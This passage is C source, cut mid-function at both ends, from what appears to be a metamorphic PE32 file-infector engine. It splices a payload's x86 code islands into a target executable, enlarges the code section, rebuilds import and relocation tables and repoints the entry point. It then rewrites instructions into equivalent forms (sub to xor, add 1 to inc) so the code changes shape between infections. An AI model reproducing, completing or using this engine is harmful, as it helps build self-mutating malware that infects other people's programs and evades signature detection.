pShuffledPrimaryCodeX86AbstractionIslandTable->dwNumberOfCodeIslands > pShuffledPayloadCodeX86AbstractionIslandTable->dwNumberOfCodeIslands ? pShuffledPrimaryCodeX86AbstractionIslandTable : pShuffledPayloadCodeX86AbstractionIslandTable, pShuffledPayloadCodeX86AbstractionIslandTable->dwNumberOfCodeIslands < pShuffledPrimaryCodeX86AbstractionIslandTable->dwNumberOfCodeIslands ? pShuffledPayloadCodeX86AbstractionIslandTable : pShuffledPrimaryCodeX86AbstractionIslandTable); nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable); Shrink32BitX86BranchIslandAbstractions(pIntertwinedCodeX86AbstractionIslandTable); nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable); PBYTE pFrozenCodeIslandAbstractionPool; DWORD dwFrozenCodeIslandAbstractionPoolSize; FreezeX86CodeIslandAbstractions(pAPITable, pPayloadCodeX86AbstractionIslandTable, nPayloadCodePoolSize, &pFrozenCodeIslandAbstractionPool, &dwFrozenCodeIslandAbstractionPoolSize); // Identify the final address abstraction of the primary PE32 PRELOCATION_ABSTRACTION pCurrentAddressAbstraction, pFinalAddressAbstraction; for(pCurrentAddressAbstraction=pTargetPE32Abstraction->pRelocationAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation) { pFinalAddressAbstraction=pCurrentAddressAbstraction; } DWORD dwCurrentCodeIslandIndex; PX86_INSTRUCTION_ABSTRACTION pFrozenCodeIslandAbstractionTableReferenceInstruction=NULL; // Identify frozen code island table indicator in germ for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands && pFrozenCodeIslandAbstractionTableReferenceInstruction == NULL; dwCurrentCodeIslandIndex++) { if(pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction != NULL) { pCurrentX86InstructionAbstraction=pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction; } while(pCurrentX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagFrozenCodeIsland)) { pFrozenCodeIslandAbstractionTableReferenceInstruction=pCurrentX86InstructionAbstraction; break; } if(pCurrentX86InstructionAbstraction == pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction) { break; } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } } PX86_INSTRUCTION_ABSTRACTION pFrozenCodeIslandAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pFrozenCodeIslandAbstractionTable->dwExtendedDataSize=dwFrozenCodeIslandAbstractionPoolSize; pFrozenCodeIslandAbstractionTable->pExtendedDataPool=pAPITable->GlobalAlloc(GPTR, dwFrozenCodeIslandAbstractionPoolSize); RelocateMemory(pFrozenCodeIslandAbstractionTable->pExtendedDataPool, pFrozenCodeIslandAbstractionPool, dwFrozenCodeIslandAbstractionPoolSize); // Link frozen code island table on to the end of the last primary code abstraction, and update offsets pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction->pNextMemoryOrderX86InstructionAbstraction=pFrozenCodeIslandAbstractionTable; pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pFrozenCodeIslandAbstractionTable; // Create an address abstraction, with a location within the identified instruction, and a reference to the final instruction of the last intertwined island (with an offset of instruction length) pCurrentAddressAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION)); //pFrozenCodeIslandAbstractionTableReferenceInstruction->dwReferencedAddressOffset=pCurrentX86InstructionAbstraction->dwInstructionLength; pFrozenCodeIslandAbstractionTableReferenceInstruction->pDataRelocationAbstraction=pCurrentAddressAbstraction; *(PDWORD)&pFrozenCodeIslandAbstractionTableReferenceInstruction->Data[pFrozenCodeIslandAbstractionTableReferenceInstruction->dwDataOffset]=pFrozenCodeIslandAbstractionTable->dwInstructionOffset + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->VirtualAddress; pCurrentAddressAbstraction->pLocationSymbol=pFrozenCodeIslandAbstractionTableReferenceInstruction; pCurrentAddressAbstraction->dwAbsoluteAddressLocationSectionIndex=pTargetPE32Abstraction->dwCodeSectionIndex; pCurrentAddressAbstraction->pReferencedSymbol=pFrozenCodeIslandAbstractionTable; pCurrentAddressAbstraction->dwAbsoluteAddressReferencedSectionIndex=pTargetPE32Abstraction->dwCodeSectionIndex; pCurrentAddressAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE); pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentAddressAbstraction; nCurrentRequiredCodeAugmentationSize=(((nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable) + nPayloadCodePoolSize) - nOriginalCodeSize) - nPreviousRequiredCodeAugmentationSize); pAugmentedPE32Pool=NULL; dwAugmentedPE32PoolSize=0; if(nCurrentRequiredCodeAugmentationSize > 0) { if(AugmentPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, pTargetPE32Abstraction->dwCodeSectionIndex, nCurrentRequiredCodeAugmentationSize, NULL, NULL)) { FreeRelocationAbstractions32(pAPITable, pTargetPE32Abstraction->pRelocationAbstractions); FreeIATAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions); FreeX86CodeAbstractions(pAPITable, pTargetPE32Abstraction->pCodeAbstractions); pAPITable->GlobalFree(pCurrentPE32Pool); pCurrentPE32Pool=pAugmentedPE32Pool; dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize; nPreviousRequiredCodeAugmentationSize += nCurrentRequiredCodeAugmentationSize; continue; } } else { if(SolidifyX86CodeIslandAbstractions(pAPITable, pIntertwinedCodeX86AbstractionIslandTable, &pPrimaryCodePool, &nPrimaryCodePoolSize, NULL)) { pTargetPE32Abstraction->pOptionalHeader->AddressOfEntryPoint=(pShuffledPrimaryCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction->dwInstructionOffset + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->VirtualAddress); RelocateMemory(pCurrentPE32Pool + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->PointerToRawData, pPrimaryCodePool, nPrimaryCodePoolSize); PBYTE pNewIATDataDirectory; DWORD dwNewIATDataDirectorySize; CreateIATSectionFromAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions, &pNewIATDataDirectory, &dwNewIATDataDirectorySize, pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, FALSE); if(AugmentPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, 0, 0, pTargetPE32Abstraction->pImportAbstractions, pTargetPE32Abstraction->pExportAbstractions)) { pTargetPE32Abstraction->pDOSHeader=pAugmentedPE32Pool; pTargetPE32Abstraction->pFileHeader=(PBYTE)pAugmentedPE32Pool + pTargetPE32Abstraction->pDOSHeader->e_lfanew + 4; pTargetPE32Abstraction->pOptionalHeader=(PBYTE)pTargetPE32Abstraction->pFileHeader + sizeof(IMAGE_FILE_HEADER); pTargetPE32Abstraction->pSectionHeaders=(PBYTE)pTargetPE32Abstraction->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER); pCurrentPE32Pool=pAugmentedPE32Pool; dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize; } else { return FALSE; } dwOriginalRelocationCharacteristics=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1)->Characteristics; pNewRelocationDataDirectory=NULL; dwNewRelocationDataDirectorySize=0; CreateRelocationSectionFromAbstractions32(pAPITable, pCurrentPE32Pool, pTargetPE32Abstraction->pRelocationAbstractions, &pNewRelocationDataDirectory, &dwNewRelocationDataDirectorySize); RemovePE32Section(pAPITable, &pCurrentPE32Pool, &dwCurrentPE32PoolSize, pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1); AddPE32Section(pAPITable, &pCurrentPE32Pool, &dwCurrentPE32PoolSize, &dwRelocationSectionNameString, dwOriginalRelocationCharacteristics, pNewRelocationDataDirectory, dwNewRelocationDataDirectorySize, dwNewRelocationDataDirectorySize); pAPITable->GlobalFree(pNewRelocationDataDirectory); pTargetPE32Abstraction->pDOSHeader=pCurrentPE32Pool; pTargetPE32Abstraction->pFileHeader=(PBYTE)pCurrentPE32Pool + pTargetPE32Abstraction->pDOSHeader->e_lfanew + 4; pTargetPE32Abstraction->pOptionalHeader=(PBYTE)pTargetPE32Abstraction->pFileHeader + sizeof(IMAGE_FILE_HEADER); pTargetPE32Abstraction->pSectionHeaders=(PBYTE)pTargetPE32Abstraction->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER); pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1)->VirtualAddress; pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size=dwNewRelocationDataDirectorySize; FreeRelocationAbstractions32(pAPITable, pTargetPE32Abstraction->pRelocationAbstractions); FreeIATAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions); FreeX86CodeAbstractions(pAPITable, pTargetPE32Abstraction->pCodeAbstractions); pIntertwinedPE32Pool=pCurrentPE32Pool; dwIntertwinedPE32PoolSize=dwCurrentPE32PoolSize; } } } while(nCurrentRequiredCodeAugmentationSize > 0); *ppIntertwinedPE32Pool=pIntertwinedPE32Pool; *pdwIntertwinedPE32PoolSize=dwIntertwinedPE32PoolSize; return TRUE; } PX86_CODE_ABSTRACTION_TABLE SynonymizeX86CodeAbstractionSequence (PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pTargetCodeAbstractionTable, PRELOCATION_ABSTRACTION pAddressAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable, BOOL bShrinkCode, BOOL bExpandCode) { PX86_INSTRUCTION_ABSTRACTION pCurrentTargetX86InstructionAbstraction, pNewSynonymousX86InstructionAbstraction, pPreviousTargetX86InstructionAbstraction=NULL, pCurrentSynonymousX86InstructionAbstraction, pPreviousSynonymousX86InstructionAbstraction; PRELOCATION_ABSTRACTION pCurrentAddressAbstraction; PEXPORT_ABSTRACTION pCurrentExportAbstraction; PX86_CODE_ABSTRACTION_TABLE pSynonymousTargetCodeAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE)); pSynonymousTargetCodeAbstractionTable->dwTotalCodeSize=pTargetCodeAbstractionTable->dwTotalCodeSize; pSynonymousTargetCodeAbstractionTable->dwNumberOfInstructions=pTargetCodeAbstractionTable->dwNumberOfInstructions; // Mirror the target code abstractions to a synonymous one for(pCurrentTargetX86InstructionAbstraction=pTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentTargetX86InstructionAbstraction != NULL; pCurrentTargetX86InstructionAbstraction=pCurrentTargetX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { pCurrentSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); if(pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction == NULL) { pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; } else { pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; } pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentTargetX86InstructionAbstraction->pDataRelocationAbstraction; pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentTargetX86InstructionAbstraction->pMemoryRelocationAbstraction; pCurrentSynonymousX86InstructionAbstraction->dwDataSize=pCurrentTargetX86InstructionAbstraction->dwDataSize; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=pCurrentTargetX86InstructionAbstraction->dwInstructionLength; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=pCurrentTargetX86InstructionAbstraction->dwStandardFlags; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=pCurrentTargetX86InstructionAbstraction->dwExtendedFlags; pCurrentSynonymousX86InstructionAbstraction->dwInstructionOffset=pCurrentTargetX86InstructionAbstraction->dwInstructionOffset; pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=pCurrentTargetX86InstructionAbstraction->dwNumberOfPrefixes; pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset=pCurrentTargetX86InstructionAbstraction->dwMemoryOffset; pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=pCurrentTargetX86InstructionAbstraction->dwDataOffset; pCurrentSynonymousX86InstructionAbstraction->lBranchDestinationOffset=pCurrentTargetX86InstructionAbstraction->lBranchDestinationOffset; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=pCurrentTargetX86InstructionAbstraction->SourceRegister; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=pCurrentTargetX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentTargetX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->Mod=pCurrentTargetX86InstructionAbstraction->Mod; pCurrentSynonymousX86InstructionAbstraction->Reg=pCurrentTargetX86InstructionAbstraction->Reg; pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentTargetX86InstructionAbstraction->Rm; pCurrentSynonymousX86InstructionAbstraction->SIB=pCurrentTargetX86InstructionAbstraction->SIB; pCurrentSynonymousX86InstructionAbstraction->Scale=pCurrentTargetX86InstructionAbstraction->Scale; pCurrentSynonymousX86InstructionAbstraction->Index=pCurrentTargetX86InstructionAbstraction->Index; pCurrentSynonymousX86InstructionAbstraction->Base=pCurrentTargetX86InstructionAbstraction->Base; pCurrentSynonymousX86InstructionAbstraction->WBit=pCurrentTargetX86InstructionAbstraction->WBit; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentTargetX86InstructionAbstraction->WBitOpcode; pCurrentSynonymousX86InstructionAbstraction->DBit=pCurrentTargetX86InstructionAbstraction->DBit; pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentTargetX86InstructionAbstraction->DBitOpcode; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentTargetX86InstructionAbstraction->Opcode; if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0) { RelocateMemory(pCurrentSynonymousX86InstructionAbstraction->Data, pCurrentTargetX86InstructionAbstraction->Data, pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength); } else { RelocateMemory(pCurrentSynonymousX86InstructionAbstraction->Data, pCurrentTargetX86InstructionAbstraction->Data, pCurrentSynonymousX86InstructionAbstraction->dwDataSize); } // Walk address abstraction list, fix any address abstractions that referenced the old instruction link for(pCurrentAddressAbstraction=pAddressAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation) { if(pCurrentAddressAbstraction->pLocationSymbol == pCurrentTargetX86InstructionAbstraction) { pCurrentAddressAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction; } if(pCurrentAddressAbstraction->pReferencedSymbol == pCurrentTargetX86InstructionAbstraction) { pCurrentAddressAbstraction->pReferencedSymbol=pCurrentSynonymousX86InstructionAbstraction; } } if(pExportAbstractionTable != NULL) { for(pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction) { if(pCurrentExportAbstraction->pLocationSymbol == pCurrentTargetX86InstructionAbstraction) { pCurrentExportAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction; } } } } IdentifyEtherealX86BranchCorrespondences(pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction); BYTE CurrentSourceRegister, CurrentDestinationRegister; CHAR FirstSymbolizedInstruction[256], SecondSymbolizedInstruction[256], ThirdSymbolizedInstruction[256], FourthSymbolizedInstruction[256]; BOOL bValidConstant, bValidRegister, bValidDisplacement; DWORD dwConstant, dwDelta, dwX; PX86_INSTRUCTION_ABSTRACTION pDiscardableLinks[2]; for(dwX=0; dwX < 2; dwX++) { pDiscardableLinks[dwX]=NULL; } if(bShrinkCode) { // Walk instruction list and swap single instructions back to their quintessential form //printf("[*] Shrinking single instructions...\r\n"); for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Or Reg1(8/16/32), Reg1(8/16/32) -> Test Reg1(8/16/32), Reg1(8/16/32) // Sub Reg1(8/16/32), Reg1(8/16/32) -> Xor Reg1(8/16/32), Reg1(8/16/32) // Mov Reg(8/16/32), 0(8/16/32) -> Xor Reg(8/16/32), Reg(8/16/32) // Cmp Reg(8/16/32), 0(8/16/32) -> Test Reg(8/16/32), Reg(8/16/32) // Sub Reg(8/16/32), 1(8/16/32) -> Dec Reg(8/16/32) // Sub [Effective Address (8/16/32)], 1(8/16/32) -> Dec [Effective Address (8/16/32)] // Sub [Effective Address (8/16/32)], Constant8/16/32 -> Add [Effective Address], -Constant8/16/32 -------------| // Sub Reg(8/16/32), Constant8/16/32 -> Add Reg(8/16/32), -Constant -| | // Add Reg(8/16/32), 1 -> Inc Reg(8/16/32) <-------------------------| Sub Reg(8/16/32), -1 -> Inc Reg(8/16/32) | // Add [Effective Address (8/16/32)], 1 -> Inc [Effective Address (8/16/32)] <----------------------------------| Sub [Effective Address (8/16/32)], -1(8/16/32) -> Inc [Effective Address (8/16/32)] // Push Constant8 -> Push Constant32 // Lea Reg1(32), Dword [Reg1(32) + Reg2(32)] -> Add Reg1(32), Reg2(32) // Lea Reg1(32), Dword [Reg2(32) + Reg1(32)] -> Add Reg1(32), Reg2(32) if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { bValidRegister=bValidDisplacement=bValidConstant=FALSE; CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; if(!(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch))) { if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x28) { if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister) { // Sub Reg1(8/16/32), Reg1(8/16/32) -> Xor Reg1(8/16/32), Reg1(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x30; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode += 8; continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF) { // Mov Reg(8/16/32), Constant(8/16/32) if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } if(bValidConstant) { // Mov Reg(8/16/32), 0(8/16/32) -> Xor Reg(8/16/32), Reg(8/16/32) pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(CurrentDestinationRegister << 3)|CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x30 + ((pCurrentSynonymousX86InstructionAbstraction->Opcode & 0x08) >> 3)); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagRegWBit|X86InstructionStandardFlagData); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagRegToReg; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; continue; } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80) { if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x05) // 101 - Sub extended opcode { if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } if(bValidConstant) { // Sub -> Dec if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1) { // Sub Reg(8/16/32), 1(8/16/32) -> Dec Reg(8/16/32) pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister + 0x48); pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagData|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit); } else { // Sub [Effective Address (8/16/32)], 1(8/16/32) -> Dec [Effective Address (8/16/32)] pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0xFE; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(0xFE + pCurrentSynonymousX86InstructionAbstraction->WBit); pCurrentSynonymousX86InstructionAbstraction->Reg=0x01; // 001 - Dec extended opcode pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x08; // 1000 pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit; if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength--; pCurrentSynonymousX86InstructionAbstraction->WBit=0; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 4; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 2; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData; } continue; } else if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL) { // Sub -> Negated Add // Sub [Effective Address (8/16/32)], Constant8/16/32 -> Add [Effective Address], -Constant8/16/32 // Sub Reg(8/16/32), Constant8/16/32 -> Add Reg(8/16/32), -Constant8/16/32 pCurrentSynonymousX86InstructionAbstraction->Reg=0; pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111 pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode { if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1) { bValidConstant=TRUE; } } if(bValidConstant) { // Add -> Inc if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1) { // Add Reg(8/16/32), 1 -> Inc Reg(8/16/32) 